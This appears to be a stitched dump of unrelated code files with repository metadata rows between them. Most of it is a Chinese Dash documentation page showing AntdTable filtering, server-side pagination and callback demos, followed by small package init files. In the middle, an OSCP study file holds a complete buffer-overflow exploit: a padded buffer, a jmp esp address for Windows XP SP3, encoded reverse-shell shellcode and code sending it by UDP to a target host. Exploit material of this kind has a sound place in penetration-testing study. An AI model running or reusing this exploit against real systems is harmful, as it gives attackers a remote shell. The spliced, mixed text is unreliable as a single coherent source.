for _ in range(10)
],
filterOptions={
'字段1': {
'filterMode': 'keyword'
},
'字段3': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
}
}
),
html.Div(
style={
'height': '400px'
}
)
],
style={
'flex': '1',
'padding': '20px',
'maxHeight': '200px',
'overflowY': 'auto'
}
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
filterOptions={
'字段1': {
'filterMode': 'keyword'
},
'字段3': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
}
},
popupContainerId='popupContainerId-container-demo'
),
html.Div(
style={
'height': '400px'
}
)
],
id='popupContainerId-container-demo',
style={
'flex': '1',
'padding': '20px',
'maxHeight': '200px',
'overflowY': 'auto',
'position': 'relative'
}
)
],
style={
'display': 'flex'
}
),
fac.AntdDivider(
'妥善使用popupContainerId参数',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdParagraph(
[
fac.AntdText(
' 当设置了筛选等具有点击弹出悬浮组件的功能时，这些悬浮组件默认绑定的参考容器为根节点',
),
fac.AntdText(
'body',
italic=True
),
fac.AntdText(
'，因此当我们的'
),
fac.AntdText(
'AntdTable',
strong=True
),
fac.AntdText(
'组件位于具有局部滚动条的容器中时，点击展开悬浮层后滚动页面会出现悬浮层不跟随移动的情况，因此需要参考本例，利用popupContainerId参数为'
),
fac.AntdText(
'AntdTable',
strong=True
),
fac.AntdText(
'绑定position为relative的容器对应的id'
)
]
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTitle('左例（未设置） 右例（设置popupContainerId参数）', level=5),
html.Div(
[
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
filterOptions={
'字段1': {
'filterMode': 'keyword'
},
'字段3': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
}
}
),
html.Div(
style={
'height': '400px'
}
)
],
style={
'flex': '1',
'padding': '20px',
'maxHeight': '200px',
'overflowY': 'auto'
}
),
html.Div(
[
fac.AntdTable(
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}'
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(10)
],
filterOptions={
'字段1': {
'filterMode': 'keyword'
},
'字段3': {
'filterMode': 'checkbox',
'filterCustomItems': [1, 2, 3]
}
},
popupContainerId='popupContainerId-container-demo'
),
html.Div(
style={
'height': '400px'
}
)
],
id='popupContainerId-container-demo',
style={
'flex': '1',
'padding': '20px',
'maxHeight': '200px',
'overflowY': 'auto',
'position': 'relative'
}
)
],
style={
'display': 'flex'
}
)'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='妥善使用popupContainerId参数',
className='div-highlight'
),
html.Div(
[
fac.AntdTable(
id='table-demo',
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}',
'editable': True
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(20)
],
sortOptions={
'sortDataIndexes': ['字段2', '字段4', '字段5'],
'multiple': True
},
filterOptions={
'字段1': {
'filterMode': 'checkbox'
},
'字段3': {
'filterMode': 'keyword'
}
},
pagination={
'pageSize': 5
},
popupContainerId='docs-content'
),
fac.AntdSpin(
html.Div(id='table-demo-output'),
text='回调中'
),
fac.AntdDivider(
'监听翻页、筛选及单元格内容编辑变动',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdParagraph(
[
fac.AntdText(
' 这个例子中展示了'
),
fac.AntdText('AntdTable', strong=True),
fac.AntdText('中所有的交互事件被用户触发时所记录的参数变化情况')
]
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdTable(
id='table-demo',
columns=[
{
'title': f'字段{i}',
'dataIndex': f'字段{i}',
'editable': True
}
for i in range(1, 6)
],
data=[
{
f'字段{i}': np.random.randint(1, 5)
for i in range(1, 6)
}
for _ in range(20)
],
sortOptions={
'sortDataIndexes': ['字段2', '字段4', '字段5'],
'multiple': True
},
filterOptions={
'字段1': {
'filterMode': 'checkbox'
},
'字段3': {
'filterMode': 'keyword'
}
},
pagination={
'pageSize': 5
},
popupContainerId='docs-content'
),
fac.AntdSpin(
html.Div(id='table-demo-output'),
text='回调中'
)
...
@app.callback(
Output('table-demo-output', 'children'),
[Input('table-demo', 'currentData'),
Input('table-demo', 'recentlyChangedRow'),
Input('table-demo', 'sorter'),
Input('table-demo', 'filter'),
Input('table-demo', 'pagination')],
prevent_initial_call=True
)
def table_callback_demo(currentData,
recentlyChangedRow,
sorter,
filter,
pagination):
ctx = dash.callback_context
return [
fac.AntdTitle('本次回调由{}所触发'.format(ctx.triggered[0]['prop_id'].split('.')[-1]), level=3),
fac.AntdDivider(),
fac.AntdTitle('currentData：', level=5),
html.Pre(str(currentData)),
fac.AntdTitle('recentlyChangedRow：', level=5),
html.Pre(str(recentlyChangedRow)),
fac.AntdTitle('sorter：', level=5),
html.Pre(str(sorter)),
fac.AntdTitle('filter：', level=5),
html.Pre(str(filter)),
fac.AntdTitle('pagination：', level=5),
html.Pre(str(pagination))
]'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='监听翻页、筛选及单元格内容编辑变动',
className='div-highlight'
),
html.Div(
[
fac.AntdSpin(
fac.AntdTable(
id='table-server-side-demo',
mode='server-side',
columns=[
{
'title': '组合排序示例1',
'dataIndex': '组合排序示例1'
},
{
'title': '组合排序示例2',
'dataIndex': '组合排序示例2'
},
{
'title': 'checkbox筛选示例',
'dataIndex': 'checkbox筛选示例'
},
{
'title': 'keyword筛选示例',
'dataIndex': 'keyword筛选示例'
}
],
data=server_side_df.head(5).to_dict('records'),
sortOptions={
'sortDataIndexes': ['组合排序示例1', '组合排序示例2'],
'multiple': True
},
filterOptions={
'checkbox筛选示例': {
'filterMode': 'checkbox',
'filterCustomItems': list('abcde')
},
'keyword筛选示例': {
'filterMode': 'keyword'
}
},
pagination={
'current': 1,
'total': server_side_df.shape[0],
'pageSize': 5,
'pageSizeOptions': [5, 10]
},
popupContainerId='docs-content'
),
text='回调中'
),
fac.AntdDivider(
'服务端数据渲染模式示例',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdParagraph(
[
fac.AntdText(
' 这个例子中展示了'
),
fac.AntdText('AntdTable', strong=True),
fac.AntdText('在设置参数'),
fac.AntdText('mode="server-side"', strong=True),
fac.AntdText(
'时激活了服务端渲染模式，在此模式下，当用户触发了翻页、排序及筛选等交互操作时，'
'不会自动在前端执行操作，而是需要开发者在后端构造相应的回调函数接受这些交互操作的反馈参数，'
'从而编写相应的逻辑，对'
),
fac.AntdText('AntdTable', strong=True),
fac.AntdText(
'的data、pagination等参数进行输出，从而达到前端“发送操作指令”，'
'后端操纵源数据并传回前端进行渲染的目的，保证了任意时刻下，前端只需要存放及渲染对应筛选及排序条件下当前页的少量数据'
)
]
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
server_side_df = pd.DataFrame({
'组合排序示例1': np.random.randint(0, 100, 1000),
'组合排序示例2': np.random.randint(0, 100, 1000),
'checkbox筛选示例': np.random.permutation(list('abcde' * 200)),
'keyword筛选示例': np.random.permutation(list('uvwxy' * 200))
})
fac.AntdSpin(
fac.AntdTable(
id='table-server-side-demo',
mode='server-side',
columns=[
{
'title': '组合排序示例1',
'dataIndex': '组合排序示例1'
},
{
'title': '组合排序示例2',
'dataIndex': '组合排序示例2'
},
{
'title': 'checkbox筛选示例',
'dataIndex': 'checkbox筛选示例'
},
{
'title': 'keyword筛选示例',
'dataIndex': 'keyword筛选示例'
}
],
data=server_side_df.head(5).to_dict('records'),
sortOptions={
'sortDataIndexes': ['组合排序示例1', '组合排序示例2'],
'multiple': True
},
filterOptions={
'checkbox筛选示例': {
'filterMode': 'checkbox',
'filterCustomItems': list('abcde')
},
'keyword筛选示例': {
'filterMode': 'keyword'
}
},
pagination={
'current': 1,
'total': server_side_df.shape[0],
'pageSize': 5,
'pageSizeOptions': [5, 10]
},
popupContainerId='docs-content'
),
text='回调中'
)
...
@app.callback(
[Output('table-server-side-demo', 'data'),
Output('table-server-side-demo', 'pagination')],
[Input('table-server-side-demo', 'pagination'),
Input('table-server-side-demo', 'sorter'),
Input('table-server-side-demo', 'filter')],
State('table-server-side-demo', 'filterOptions'),
prevent_initial_call=True
)
def table_server_side_callback_demo(pagination,
sorter,
filter,
filterOptions):
ctx = dash.callback_context
# 构造临时副本数据框
batch_df = server_side_df.copy()
# 检查是否存在未清除的筛选操作，若有，则进行离线筛选操作
if filter:
for key, value in filter.items():
# 若对应字段当前存在筛选条件
if value:
if 'filterMode' in filterOptions[key].keys():
if filterOptions[key]['filterMode'] == 'checkbox':
batch_df = batch_df.loc[batch_df[key].isin(value), :]
elif filterOptions[key]['filterMode'] == 'keyword':
batch_df = batch_df.loc[batch_df[key].astype('str').str.contains(value[0]), :]
else:
batch_df = batch_df.loc[batch_df[key].isin(value), :]
# 检查是否存在未清除的排序操作，若有，则进行离线排序操作
if sorter and sorter['columns'].__len__() != 0:
# 将sorter参数中的信息转义为迎合pandas中参数ascending的bool值
ascending = list(map(lambda order: True if order == 'ascend' else False, sorter['orders']))
# 若没有字段参与排序，则直接返回batch_df的对应页数据帧，从而结束本次回调
if ascending.__len__() == 0:
return batch_df.iloc[(pagination['current'] - 1) * pagination['pageSize']
:
pagination['current'] * pagination['pageSize'], :].to_dict('records')
# 对batch_df按照抽取出的条件进行排序
(
batch_df
.sort_values(
sorter['columns'],
ascending=ascending,
inplace=True
)
)
# 若本次回调由筛选或排序操作触发，按照当前的条件组合更新pagination参数
if ctx.triggered[0]['prop_id'] in ['table-server-side-demo.sorter', 'table-server-side-demo.filter']:
pagination = {
**pagination,
**{
'current': 1,
'pageSize': 5,
'total': batch_df.shape[0]
}
}
# 在前面的条件组合基础上，输出对应页的数据帧
start_index = (pagination['current'] - 1) * pagination['pageSize']
end_index = pagination['current'] * pagination['pageSize']
# 更新data与pagination参数
return (
batch_df.iloc[start_index:end_index, :].to_dict('records'),
pagination
)
# 若本次回调由翻页操作触发，则只返回data，pagination返回dash.no_update（因为pagination在前端用户操作时已修改，这里避免产生环形回调）
elif ctx.triggered[0]['prop_id'] == 'table-server-side-demo.pagination':
# 在前面的条件组合基础上，输出对应页的数据帧
start_index = (pagination['current'] - 1) * pagination['pageSize']
end_index = pagination['current'] * pagination['pageSize']
# 更新data与pagination参数
return (
batch_df.iloc[start_index:end_index, :].to_dict('records'),
dash.no_update
)
return dash.no_update'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='服务端数据渲染模式示例',
className='div-highlight'
),
html.Div(
[
fac.AntdSpin(
[
fac.AntdTable(
id='table-button-click-demo',
columns=[
{
'title': '单按钮示例',
'dataIndex': '单按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '25%'
},
{
'title': '多按钮示例',
'dataIndex': '多按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '50%'
},
{
'title': '气泡确认按钮示例',
'dataIndex': '气泡确认按钮示例',
'renderOptions': {
'renderType': 'button',
'renderButtonPopConfirmProps': {
'title': '确认操作',
'okText': '继续',
'cancelText': '再想想'
}
},
'width': '25%'
}
],
data=[
{
'key': i,
'单按钮示例': {
'content': '按钮示例',
'type': 'primary'
},
'多按钮示例': [
{
'content': '按钮示例1',
'type': 'primary'
},
{
'content': '按钮示例2',
'danger': True
}
],
'气泡确认按钮示例': {
'content': '气泡确认按钮示例',
'type': 'primary'
}
}
for i in range(5)
],
bordered=True,
popupContainerId='docs-content'
),
fac.AntdSpace(
[
html.Div(
[
fac.AntdText('recentlyButtonClickedRow：', strong=True),
fac.AntdText(
id='table-button-click-demo-recentlyButtonClickedRow-output')
]
),
html.Div(
[
fac.AntdText('nClicksButton：', strong=True),
html.Pre(
id='table-button-click-demo-nClicksButton-output',
style={
'backgroundColor': 'rgb(250, 250, 250)'
}
)
]
),
html.Div(
[
fac.AntdText('clickedContent：', strong=True),
fac.AntdText(id='table-button-click-demo-clickedContent-output')
]
)
],
direction='vertical',
style={
'width': '100%'
}
)
],
text='回调中'
),
fac.AntdDivider(
'监听按钮模式下的按钮点击事件',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdParagraph(
[
fac.AntdText(' nClicksButton', strong=True),
fac.AntdText('适合作为监听表格按钮点击事件的'),
fac.AntdText('Input()触发器', strong=True)
]
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdSpin(
[
fac.AntdTable(
id='table-button-click-demo',
columns=[
{
'title': '单按钮示例',
'dataIndex': '单按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '25%'
},
{
'title': '多按钮示例',
'dataIndex': '多按钮示例',
'renderOptions': {'renderType': 'button'},
'width': '50%'
},
{
'title': '气泡确认按钮示例',
'dataIndex': '气泡确认按钮示例',
'renderOptions': {
'renderType': 'button',
'renderButtonPopConfirmProps': {
'title': '确认操作',
'okText': '继续',
'cancelText': '再想想'
}
},
'width': '25%'
}
],
data=[
{
'key': i,
'单按钮示例': {
'content': '按钮示例',
'type': 'primary'
},
'多按钮示例': [
{
'content': '按钮示例1',
'type': 'primary'
},
{
'content': '按钮示例2',
'danger': True
}
],
'气泡确认按钮示例': {
'content': '气泡确认按钮示例',
'type': 'primary'
}
}
for i in range(5)
],
bordered=True,
popupContainerId='docs-content'
),
fac.AntdSpace(
[
html.Div(
[
fac.AntdText('recentlyButtonClickedRow：', strong=True),
fac.AntdText(id='table-button-click-demo-recentlyButtonClickedRow-output')
]
),
html.Div(
[
fac.AntdText('nClicksButton：', strong=True),
html.Pre(
id='table-button-click-demo-nClicksButton-output',
style={
'backgroundColor': 'rgb(250, 250, 250)'
}
)
]
),
html.Div(
[
fac.AntdText('clickedContent：', strong=True),
fac.AntdText(id='table-button-click-demo-clickedContent-output')
]
)
],
direction='vertical',
style={
'width': '100%'
}
)
],
text='回调中'
)
...
@app.callback(
[Output('table-button-click-demo-recentlyButtonClickedRow-output', 'children'),
Output('table-button-click-demo-nClicksButton-output', 'children'),
Output('table-button-click-demo-clickedContent-output', 'children')],
Input('table-button-click-demo', 'nClicksButton'),
[State('table-button-click-demo', 'recentlyButtonClickedRow'),
State('table-button-click-demo', 'clickedContent')],
prevent_initial_call=True
)
def table_button_click_demo_callback(nClicksButton, recentlyButtonClickedRow, clickedContent):
return str(nClicksButton), json.dumps(recentlyButtonClickedRow, ensure_ascii=False, indent=4), str(clickedContent)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='监听按钮模式下的按钮点击事件',
className='div-highlight'
),
html.Div(
[
fac.AntdSpin(
[
fac.AntdTable(
id='table-row-select-demo',
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='checkbox'
),
fac.AntdSpace(
[
html.Div(
[
fac.AntdText('selectedRowKeys：', strong=True),
fac.AntdText(id='table-row-select-demo-selectedRowKeys-output')
]
),
html.Div(
[
fac.AntdText('selectedRows：', strong=True),
html.Pre(
id='table-row-select-demo-selectedRows-output',
style={
'backgroundColor': 'rgb(250, 250, 250)'
}
)
]
)
],
direction='vertical',
style={
'width': '100%'
}
)
],
text='回调中'
),
fac.AntdDivider(
'监听行选择事件',
lineColor='#f0f0f0',
innerTextOrientation='left'
),
fac.AntdCollapse(
fuc.FefferySyntaxHighlighter(
showLineNumbers=True,
showInlineLineNumbers=True,
language='python',
codeStyle='coy-without-shadows',
codeString='''
fac.AntdSpin(
[
fac.AntdTable(
id='table-row-select-demo',
columns=[
{
'title': '字段示例1',
'dataIndex': '字段示例1'
},
{
'title': '字段示例2',
'dataIndex': '字段示例2'
},
{
'title': '字段示例3',
'dataIndex': '字段示例3'
}
],
data=[
{
'字段示例1': i,
'字段示例2': i,
'字段示例3': i
}
for i in range(5)
],
rowSelectionType='checkbox'
),
fac.AntdSpace(
[
html.Div(
[
fac.AntdText('selectedRowKeys：', strong=True),
fac.AntdText(id='table-row-select-demo-selectedRowKeys-output')
]
),
html.Div(
[
fac.AntdText('selectedRows：', strong=True),
html.Pre(
id='table-row-select-demo-selectedRows-output',
style={
'backgroundColor': 'rgb(250, 250, 250)'
}
)
]
)
],
direction='vertical',
style={
'width': '100%'
}
)
],
text='回调中'
)
...
@app.callback(
[Output('table-row-select-demo-selectedRowKeys-output', 'children'),
Output('table-row-select-demo-selectedRows-output', 'children')],
[Input('table-row-select-demo', 'selectedRowKeys'),
Input('table-row-select-demo', 'selectedRows')],
prevent_initial_call=True
)
def table_row_select_demo_callback(selectedRowKeys, selectedRows):
return str(selectedRowKeys), json.dumps(selectedRows, ensure_ascii=False, indent=4)
'''
),
title='点击查看代码',
is_open=False,
ghost=True
)
],
style={
'marginBottom': '40px',
'padding': '10px 10px 20px 10px',
'border': '1px solid #f0f0f0'
},
id='监听行选择事件',
className='div-highlight'
),
html.Div(style={'height': '100px'})
],
style={
'flex': 'auto',
'width': 'calc(100vw - 625px)'
}
),
html.Div(
fac.AntdAnchor(
linkDict=[
{'title': '主要参数说明', 'href': '#主要参数说明'},
{
'title': '使用示例',
'href': '#使用示例',
'children': [
{'title': '基础的表格', 'href': '#基础的表格'},
{'title': '手动分配百分比宽度', 'href': '#手动分配百分比宽度'},
{'title': '绝对像素宽度溢出的情况', 'href': '#绝对像素宽度溢出的情况'},
{'title': '限定maxHeight以固定表头', 'href': '#限定maxHeight以固定表头'},
{'title': '宽度溢出时固定左侧或右侧指定列', 'href': '#宽度溢出时固定左侧或右侧指定列'},
{'title': '指定部分列可编辑', 'href': '#指定部分列可编辑'},
{'title': '超长内容省略模式', 'href': '#超长内容省略模式'},
{'title': '超链接模式', 'href': '#超链接模式'},
{'title': '迷你图模式', 'href': '#迷你图模式'},
{'title': '标签模式', 'href': '#标签模式'},
{'title': '按钮模式', 'href': '#按钮模式'},
{'title': '分页相关设置', 'href': '#分页相关设置'},
{'title': '常规单列排序', 'href': '#常规单列排序'},
{'title': '多列组合排序', 'href': '#多列组合排序'},
{'title': '使用字段筛选功能', 'href': '#使用字段筛选功能'},
{'title': '为表头添加字段说明信息', 'href': '#为表头添加字段说明信息'},
{'title': '添加行选择功能', 'href': '#添加行选择功能'},
{'title': '妥善使用popupContainerId参数', 'href': '#妥善使用popupContainerId参数'},
{'title': '监听翻页、筛选及单元格内容编辑变动', 'href': '#监听翻页、筛选及单元格内容编辑变动'},
{'title': '服务端数据渲染模式示例', 'href': '#服务端数据渲染模式示例'},
{'title': '监听按钮模式下的按钮点击事件', 'href': '#监听按钮模式下的按钮点击事件'},
{'title': '监听行选择事件', 'href': '#监听行选择事件'},
]
},
],
containerId='docs-content',
targetOffset=200
),
style={
'flex': 'none',
'margin': '20px'
}
)
],
style={
'display': 'flex'
}
)
@app.callback(
[Output('table-server-side-demo', 'data'),
Output('table-server-side-demo', 'pagination')],
[Input('table-server-side-demo', 'pagination'),
Input('table-server-side-demo', 'sorter'),
Input('table-server-side-demo', 'filter')],
State('table-server-side-demo', 'filterOptions'),
prevent_initial_call=True
)
def table_server_side_callback_demo(pagination,
sorter,
filter,
filterOptions):
'''
AntdTable服务端渲染模式回调示例
:param pagination: 翻页操作的响应参数
:param sorter: 排序操作的响应参数
:param filter: 筛选操作的响应参数
:param filterOptions: 筛选配置参数
:return: 对应输入组合条件下的数据帧及更新后的pagination参数
'''
time.sleep(0.5)
ctx = dash.callback_context
# 构造临时副本数据框
batch_df = server_side_df.copy()
# 检查是否存在未清除的筛选操作，若有，则进行离线筛选操作
if filter:
for key, value in filter.items():
# 若对应字段当前存在筛选条件
if value:
if 'filterMode' in filterOptions[key].keys():
if filterOptions[key]['filterMode'] == 'checkbox':
batch_df = batch_df.loc[batch_df[key].isin(value), :]
elif filterOptions[key]['filterMode'] == 'keyword':
batch_df = batch_df.loc[batch_df[key].astype('str').str.contains(value[0]), :]
else:
batch_df = batch_df.loc[batch_df[key].isin(value), :]
# 检查是否存在未清除的排序操作，若有，则进行离线排序操作
if sorter and sorter['columns'].__len__() != 0:
# 将sorter参数中的信息转义为迎合pandas中参数ascending的bool值
ascending = list(map(lambda order: True if order == 'ascend' else False, sorter['orders']))
# 若没有字段参与排序，则直接返回batch_df的对应页数据帧，从而结束本次回调
if ascending.__len__() == 0:
return batch_df.iloc[(pagination['current'] - 1) * pagination['pageSize']
:
pagination['current'] * pagination['pageSize'], :].to_dict('records')
# 对batch_df按照抽取出的条件进行排序
(
batch_df
.sort_values(
sorter['columns'],
ascending=ascending,
inplace=True
)
)
# 若本次回调由筛选或排序操作触发，按照当前的条件组合更新pagination参数
if ctx.triggered[0]['prop_id'] in ['table-server-side-demo.sorter', 'table-server-side-demo.filter']:
pagination = {
**pagination,
**{
'current': 1,
'pageSize': 5,
'total': batch_df.shape[0]
}
}
# 在前面的条件组合基础上，输出对应页的数据帧
start_index = (pagination['current'] - 1) * pagination['pageSize']
end_index = pagination['current'] * pagination['pageSize']
# 更新data与pagination参数
return (
batch_df.iloc[start_index:end_index, :].to_dict('records'),
pagination
)
# 若本次回调由翻页操作触发，则只返回data，pagination返回dash.no_update（因为pagination在前端用户操作时已修改，这里避免产生环形回调）
elif ctx.triggered[0]['prop_id'] == 'table-server-side-demo.pagination':
# 在前面的条件组合基础上，输出对应页的数据帧
start_index = (pagination['current'] - 1) * pagination['pageSize']
end_index = pagination['current'] * pagination['pageSize']
# 更新data与pagination参数
return (
batch_df.iloc[start_index:end_index, :].to_dict('records'),
dash.no_update
)
return dash.no_update
@app.callback(
[Output('table-button-click-demo-recentlyButtonClickedRow-output', 'children'),
Output('table-button-click-demo-nClicksButton-output', 'children'),
Output('table-button-click-demo-clickedContent-output', 'children')],
Input('table-button-click-demo', 'nClicksButton'),
[State('table-button-click-demo', 'recentlyButtonClickedRow'),
State('table-button-click-demo', 'clickedContent')],
prevent_initial_call=True
)
def table_button_click_demo_callback(nClicksButton, recentlyButtonClickedRow, clickedContent):
time.sleep(0.5)
return str(nClicksButton), json.dumps(recentlyButtonClickedRow, ensure_ascii=False, indent=4), str(clickedContent)
@app.callback(
[Output('table-row-select-demo-selectedRowKeys-output', 'children'),
Output('table-row-select-demo-selectedRows-output', 'children')],
[Input('table-row-select-demo', 'selectedRowKeys'),
Input('table-row-select-demo', 'selectedRows')],
prevent_initial_call=True
)
def table_row_select_demo_callback(selectedRowKeys, selectedRows):
time.sleep(0.5)
return str(selectedRowKeys), json.dumps(selectedRows, ensure_ascii=False, indent=4)
| 36.507274
| 118
| 0.280799
| 5,440
| 112,917
| 5.789154
| 0.082169
| 0.01467
| 0.010669
| 0.01956
| 0.90093
| 0.895374
| 0.891246
| 0.886451
| 0.880164
| 0.873051
| 0
| 0.02701
| 0.622608
| 112,917
| 3,092
| 119
| 36.519082
| 0.711973
| 0.005269
| 0
| 0.706731
| 0
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| 0.351759
| 0.052435
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b076403e0935f604b3132b5f34b8874cbe135961
| 1,897
|
py
|
Python
|
Buffer_Overflow_Example/buffer_overflow_reverse_shell_exploit.py
|
re-pronin/Go-For-OSCP
|
c887674f72c3d7b7998f573ab59a876d4d9a3aa1
|
[
"MIT"
] | 121
|
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|
2022-03-26T10:38:00.000Z
|
Buffer_Overflow_Example/buffer_overflow_reverse_shell_exploit.py
|
Rafet-LuckyneSS/Go-For-OSCP
|
e9ba287004d10393d056ad1fdc7a1e13051e70b7
|
[
"MIT"
] | null | null | null |
Buffer_Overflow_Example/buffer_overflow_reverse_shell_exploit.py
|
Rafet-LuckyneSS/Go-For-OSCP
|
e9ba287004d10393d056ad1fdc7a1e13051e70b7
|
[
"MIT"
] | 84
|
2017-10-01T14:37:36.000Z
|
2021-11-30T19:41:33.000Z
|
import socket
import sys
buf = 'A'*260
buf += '\x53\x93\x42\x7e' #user32.dll jmp esp XP SP3
buf += '\x90'*16
buf += (
"\xd9\xc5\xd9\x74\x24\xf4\xba\x31\xe7\xd3\xe1\x5e\x29\xc9\xb1"
"\x54\x31\x56\x1a\x83\xc6\x04\x03\x56\x16\xe2\xc4\x59\x50\x46"
"\xc2\x5d\x8e\x47\xd3\xd6\x15\xac\xbb\x3d\x9f\xfd\x75\x73\x6f"
"\xec\x8a\x03\x9d\x93\xe7\xb8\xa7\x9d\x22\xd3\x0f\xf2\xd1\x19"
"\xbd\xb8\xc0\x8c\x3b\x74\xea\x6b\x13\xf5\xc1\xb0\x10\x9a\x14"
"\xed\x88\x7c\xc5\xaa\x30\xb3\x02\xda\x21\xb3\x9f\xd7\xef\x67"
"\x25\x03\xfb\x37\xc4\xf5\xf1\x57\xe6\xaf\xbf\xe6\xea\xe5\x4b"
"\xae\xed\x65\x73\x5e\x3e\x07\x3b\xc7\xfd\x48\x28\xeb\xf7\x04"
"\xf5\xe5\x07\xc4\x6f\x8a\x5a\xcf\xa6\xe8\xdb\x33\xf3\xd5\xa4"
"\x97\x16\x3d\x55\xe2\x18\x6a\x55\x15\x32\x16\x67\x94\x33\xa9"
"\xa0\x6a\x62\x0b\x14\xf5\x85\x0c\x60\xd6\xb0\xbf\x01\xaa\xe6"
"\x99\x55\x41\x89\x82\x95\x66\x0f\xc4\xbc\x54\xbb\x92\xe2\xd3"
"\xf2\xc3\x88\x15\xb8\x33\x04\xd6\xe1\x5e\xfe\x47\x51\xeb\x7e"
"\xd1\x4f\xdb\x29\xe4\x23\x45\xda\x1c\x17\xae\x8f\xfe\xdc\xaf"
"\x1b\x5d\xec\x9d\xfc\x68\x54\xd9\xdc\xc5\xa7\xed\x51\xd8\xfd"
"\x2f\xc3\x75\x93\xb1\xb8\x7e\xe1\xd8\x6d\x99\xfb\x7b\xcd\x1a"
"\xfa\x1c\x84\x67\x40\xb8\x81\x6b\x1b\xdc\x49\xdd\x8b\x34\x28"
"\xc2\xb8\xd9\x27\xb2\x84\x0a\xb6\xa6\xc4\x47\x41\xea\x59\xac"
"\x08\x97\xd8\xf0\x7b\xd1\x3b\x01\x52\xb3\x16\x9b\xef\x83\x2f"
"\xf8\xfe\xd7\x90\x17\x1e\x0e\xab\x0e\x05\x6f\x3c\xdb\xd7\x34"
"\x73\xff\x96\x8d\x3e\x43\x0e\x83\xc5\x33\x31\x8f\xcd\x13\x02"
"\xf7\x3c\x41\xe5\xfc\x1c\xaa\xbd\x12\xfb\x71\x56\x72\xf2\x47"
"\x3a\xc7\x09\x4b\x6f\x87\xfb\x8d\xfe\xfa\xc7\xa1\xcc\xd0\xbd"
"\x92\x88\xfb\x96\x32\xdd\x72\x59\x65\x80\xc7\x92\x9b\x5b\xbd"
"\x82\x83"
)
try:
sc = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #udp socket
sc.connect(("192.168.1.117", 1979))
sc.send(buf + "\n")
print "[+] Evil buffer sent"
sc.close()
except:
print "[-] Can't send evil buffer"
sys.exit()
| 41.23913
| 68
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b08ccb2be80e72fe8251a8e3f9f5dc48133b134c
| 94
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py
|
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|
saurav1869/saurav1869-mono3d_road
|
ae65b705504af0bec33cd86b7cfeef5d8605e159
|
[
"Apache-2.0"
] | null | null | null |
visualDet3D/data/__init__.py
|
saurav1869/saurav1869-mono3d_road
|
ae65b705504af0bec33cd86b7cfeef5d8605e159
|
[
"Apache-2.0"
] | null | null | null |
visualDet3D/data/__init__.py
|
saurav1869/saurav1869-mono3d_road
|
ae65b705504af0bec33cd86b7cfeef5d8605e159
|
[
"Apache-2.0"
] | null | null | null |
from .kitti.dataset import mono_dataset, depth_mono_dataset
from .synthia import mono_dataset
| 31.333333
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c66f300dbf321542072e08d0794e4c0a975bfa04
| 128
|
py
|
Python
|
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_1/_pkg0_1_0/_pkg0_1_0_0/_pkg0_1_0_0_0/_mod0_1_0_0_0_1.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
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truthiswill/intellij-community
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"Apache-2.0"
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from . import classification_task
from . import moby_task
from . import momentum_contrastive_task
from . import multihead_classification_task
from . import segmentation_task
from . import simclr_task
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LiveObjects/__init__.py
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[
"MIT"
] | null | null | null |
LiveObjects/__init__.py
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tomekmalek/LiveObjects_SDK_for_Python
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1c95ffe2d1296aeef90815755632cf4abfa02cba
|
[
"MIT"
] | null | null | null |
from LiveObjects.Connection import *
from LiveObjects.hal import *
from LiveObjects.credentials import *
import json
import time
import os
import sys
